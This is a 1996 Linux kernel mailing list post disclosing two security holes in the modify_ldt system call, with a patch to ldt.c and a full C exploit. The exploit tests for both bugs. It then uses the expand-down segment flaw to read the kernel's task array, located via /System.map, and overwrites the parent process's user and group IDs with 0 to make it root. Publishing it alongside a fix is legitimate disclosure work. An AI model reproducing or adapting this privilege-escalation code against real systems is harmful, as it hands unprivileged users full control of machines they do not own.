Messages in this thread | | | Date | Tue, 5 Mar 1996 22:47:30 +0100 | From | Morten Welinder <> | Subject | modify_ldt security holes |
| |
I hate to repeat myself, but anyway: the modify_ldt system call has two security holes. 1: A harmless thingo allows access to an area of memory indended for the kernel. 2: A should-have-read- the-manual bad logic causes all of linear memory to be accessible to user processes at will.
As a side effect, 2 also keeps Wine/Dosemu clients from using expand-down stacks. They will simply crash.
Patch and exploit script follow.
Morten Welinder terra@diku.dk [please CC responses, if any]
*** /usr/src/linux/arch/i386/kernel/ldt.c.orig Tue Mar 5 20:22:00 1996 --- /usr/src/linux/arch/i386/kernel/ldt.c Tue Mar 5 20:32:09 1996 *************** *** 55,65 **** limit = ldt_info.limit; base = ldt_info.base_addr; if (ldt_info.limit_in_pages) ! limit *= PAGE_SIZE; ! limit += base; ! if (limit < base || limit >= 0xC0000000) ! return -EINVAL; if (!current->ldt) { for (i=1 ; i<NR_TASKS ; i++) { --- 55,72 ---- limit = ldt_info.limit; base = ldt_info.base_addr; if (ldt_info.limit_in_pages) ! limit = limit * PAGE_SIZE + (PAGE_SIZE - 1); ! if (ldt_info.contents == 1) { ! /* An expand-down data ("stack") segment. */ ! if (limit >= base || base >= 0xC0000000) ! return -EINVAL; ! } else { ! /* Regular data or code segment. */ ! limit += base; ! if (limit < base || limit >= 0xC0000000) ! return -EINVAL; ! } if (!current->ldt) { for (i=1 ; i<NR_TASKS ; i++) { *************** *** 75,80 **** --- 82,88 ---- lp = (unsigned long *) ¤t->ldt[ldt_info.entry_number]; /* Allow LDTs to be cleared by the user. */ + /* This should probably require .seg_not_present == 1 also. */ if (ldt_info.base_addr == 0 && ldt_info.limit == 0) { *lp = 0; *(lp+1) = 0;
#include <linux/ldt.h> #include <stdio.h> #include <linux/unistd.h> #include <signal.h> #include <asm/sigcontext.h> #define __KERNEL__ #include <linux/sched.h> _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)
#define KERNEL_BASE 0xc0000000 /* ------------------------------------------------------------------------ */ static __inline__ unsigned char __farpeek (int seg, unsigned ofs) { unsigned char res; asm ("mov %w1,%%gs ; gs; movb (%2),%%al" : "=a" (res) : "r" (seg), "r" (ofs)); return res; } /* ------------------------------------------------------------------------ */ static __inline__ void __farpoke (int seg, unsigned ofs, unsigned char b) { asm ("mov %w0,%%gs ; gs; movb %b2,(%1)" : /* No results. */ : "r" (seg), "r" (ofs), "r" (b)); } /* ------------------------------------------------------------------------ */ void memgetseg (void *dst, int seg, const void *src, int size) { while (size-- > 0) *(char *)dst++ = __farpeek (seg, (unsigned)(src++)); } /* ------------------------------------------------------------------------ */ void memputseg (int seg, void *dst, const void *src, int size) { while (size-- > 0) __farpoke (seg, (unsigned)(dst++), *(char *)src++); } /* ------------------------------------------------------------------------ */ int main () { int stat, i; struct modify_ldt_ldt_s ldt_entry; FILE *syms; char line[100]; struct task_struct **task, *taskptr, thistask; pid_t ppid;
printf ("Bogusity checker for modify_ldt system call.\n");
printf ("Testing for page-size limit bug...\n"); ldt_entry.entry_number = 0; ldt_entry.base_addr = 0xbfffffff; ldt_entry.limit = 0; ldt_entry.seg_32bit = 1; ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA; ldt_entry.read_exec_only = 0; ldt_entry.limit_in_pages = 1; ldt_entry.seg_not_present = 0; stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry)); if (stat) /* Continue after reporting error. */ printf ("This bug has been fixed in your kernel.\n"); else { printf ("Shit happens: "); printf ("0xc0000000 - 0xc0000ffe is accessible.\n"); }
printf ("Testing for expand-down limit bug...\n"); ldt_entry.base_addr = 0x00000000; ldt_entry.limit = 1; ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK; ldt_entry.limit_in_pages = 0; stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry)); if (stat) { printf ("This bug has been fixed in your kernel.\n"); return 1; } else { printf ("Shit happens: "); printf ("0x00000000 - 0xfffffffd is accessible.\n"); }
syms = fopen ("/System.map", "r"); if (!syms) { printf ("Couldn't open `/System.map' for reading.\n"); return 1; } while (1) { line[0] = 0; fgets (line, sizeof (line) - 1, syms); if (strlen (line) < 10) { printf ("Couldn't find the _task array symbol.\n"); fclose (syms); return 1; } if (strcmp (line + 9, "D _task\n") == 0) break; } fclose (syms);
task = (struct task_struct **) (KERNEL_BASE + strtol (line, 0, 16)); ppid = getppid ();
for (i = 0; i < NR_TASKS; i++) { memgetseg (&taskptr, 7, &task[i], sizeof (taskptr)); if (taskptr) { (char *)taskptr += KERNEL_BASE; memgetseg (&thistask, 7, taskptr, sizeof (thistask)); if (thistask.pid == ppid) { thistask.uid = thistask.euid = 0; thistask.gid = thistask.egid = 0; memputseg (7, taskptr, &thistask, sizeof (thistask)); printf ("Shit happens: parent process is now root process.\n"); return 0; } } }
printf ("Strange things happens -- no parent process found.\n"); return 1; };
| |